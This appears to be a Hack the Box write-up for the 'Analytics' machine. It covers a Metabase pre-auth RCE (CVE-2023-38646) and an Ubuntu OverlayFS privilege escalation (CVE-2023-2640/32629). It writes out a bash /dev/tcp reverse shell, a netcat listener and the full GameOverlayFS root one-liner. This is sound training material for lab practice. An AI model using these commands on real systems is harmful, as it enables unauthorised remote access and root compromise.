Welcome ghouls and goblins, today we’re on Hack the Box and looking to snipe an unlucky machine named Analytics.
This box allows us to execute arbitrary commands on the server without authentication through the /api/setup/validate API endpoint which was used to validate the database connection. The flaw to exploit manifested in the connection handling which led to the remote execution. Our foothold for this box will be CVE-2023–38646.
Later, we discover a path to root through Ubuntu Local Privilege Escalation (CVE-2023–2640 & CVE-2023–32629, which allows a low privileged user account on the system to obtain root privileges within the OverlayFS module.
Let’s begin!!
We start our enumeration running Nmap.
nmap -sC -sV -p- --open $IP
- We call our tool using “nmap”
- We append flags “-sC” & “-sV” to run simple scripts and pull system versions.
- “-p-” a lovely scan of all 65,365 ports.
- Use “ — open” to specify we only want output and scripts ran against the open ports.
- Lastly, we add the target machine’s IP.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Analytical
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Seems we have two services to run through which is amazing news. Our objective here would be to find an exploit for Metabase which would require finding the version it’s running or search for hidden directories for users/credentials to later SSH into.
I start by visiting the page to see what I can find and came across a login page.
Decided to curl the source page and filter for the word “version” using
curl http://data.analytical.htb/auth/login?redirect=%2F | grep "version"
Perfect! After a quick Google search I came across this exploit on GitHub. This version of Metabase is vulnerable to pre-auth RCE via API endpoint during validation of database connections. Soon after reading it, I went through development tools on my browser, and on the network tab found the path we’ll be working with.
The script we’ll be using is written in Python and requires the Target URL, API Token, and the command to be executed which would be a reverse shell in our case.
python3 main.py -u http://[targeturl] -t [setup-token] -c "[command]"
Before we go any further, let’s take some time to understand what the exploit does.
- This code imports “argparse” for parsing command-line arguments, “ascii_uppercase” to generate a string constant containing all uppercase letters, “base64” to encode binary data into base64 representation, “random” to generate random values, such as the trigger name in the exploit, and lastly “requests” a library to make HTTP requests easier.
- We see a function named “encode_command_to_b64”. This takes a string named “payload”, encodes it in base64, and if there are any padding characters in the encoded form, it adds spaces to the original payload before encoding.
- Then we have the setup argument parser which sets up a command line interface for the script, requiring a target URL, a setup token, and the command to execute on the target. All directed at our API endpoint.
The script takes the command provided via CLI arguments and encodes it using the function. Then it prepares the exploit payload via JSON intended for the /api/setup/validate endpoint of Metabase. The trigger name is generated randomly using uppercase letters. The encoded command is then injected into the exploit string, which is crafted to execute a bash command. Lastly, it sends the exploit using the “requests” library via POST request to target the URL.
After visiting the path above, I used Ctrl + f to find instances of the word “token” and got our setup-token.
- I spawned a netcat listener on my machine
nc -lvp 4444
2. input the token
3. Appended my reverse shell as the command to pass and we got a shell!!
python3 main.py -u http://data.analytical.htb -t 249fa03d-fd94-4d5b-b94f-b4ebf3df681f -c "bash -i >& /dev/tcp/MY_IP/4444 0>&1"
After some enumeration I found a user and password on the system after running the env command.
With these you know where we’ll go next! SSH my friends!
ssh metalytics@10.10.11.233
After getting the user flag, I pushed linpeas on the target machine from my attack machine. I highly recommend this tool, it’s absolutely amazing for searching through possible paths which can lead to privilege escalation.
python3 -m http.server 80
This spawns a server in the directory i keep my tools in
wget MY_IP/linpeas.sh
We input this in the /tmp directory of our Metalytics user, it gets the tool transferred over through the server we spun up which contains linpeas.
chmod +x linpeas.sh
./linpeas.sh
We give execute permissions to our newly transferred tool and finally run it!
I search to see if there’s a known vulnerability for this version of Ubuntu and found Ubuntu Local Privilege Escalation (CVE-2023–2640 & CVE-2023–32629). It allows a low privileged user account on the system to obtain root privileges within the OverlayFS module. Here’s the exploit i’ll be using for it with a slight modification to the highlighted “id” next to os.system.
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'
This command sequence creates a new mount namespace, sets up a directory structure, copies specific files into it, sets capabilities to allow execution with escalated privileges, mounts an overlay filesystem, and then spawns a bash shell as root using the modified Python3 binary.
wget https://raw.githubusercontent.com/luanoliveira350/GameOverlayFS/main/gameoverlay.sh
- I use wget to push the raw code on to my machine from Github.
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'
2. Edited the code to substitute “id” to “/bin/bash” next to the os.system module.
#on your machine, same directory gameoverlay.sh is in.
python3 -m http.server 80
#on target machine
wget YOUR_IP/gameoverlay.sh
#give executable permissions to the script
chmod +x gameoverlay.sh
#run the script
./gameoverlay.sh
3. Saved and pushed this over to the target machine, giving it executable permissions, and exploit!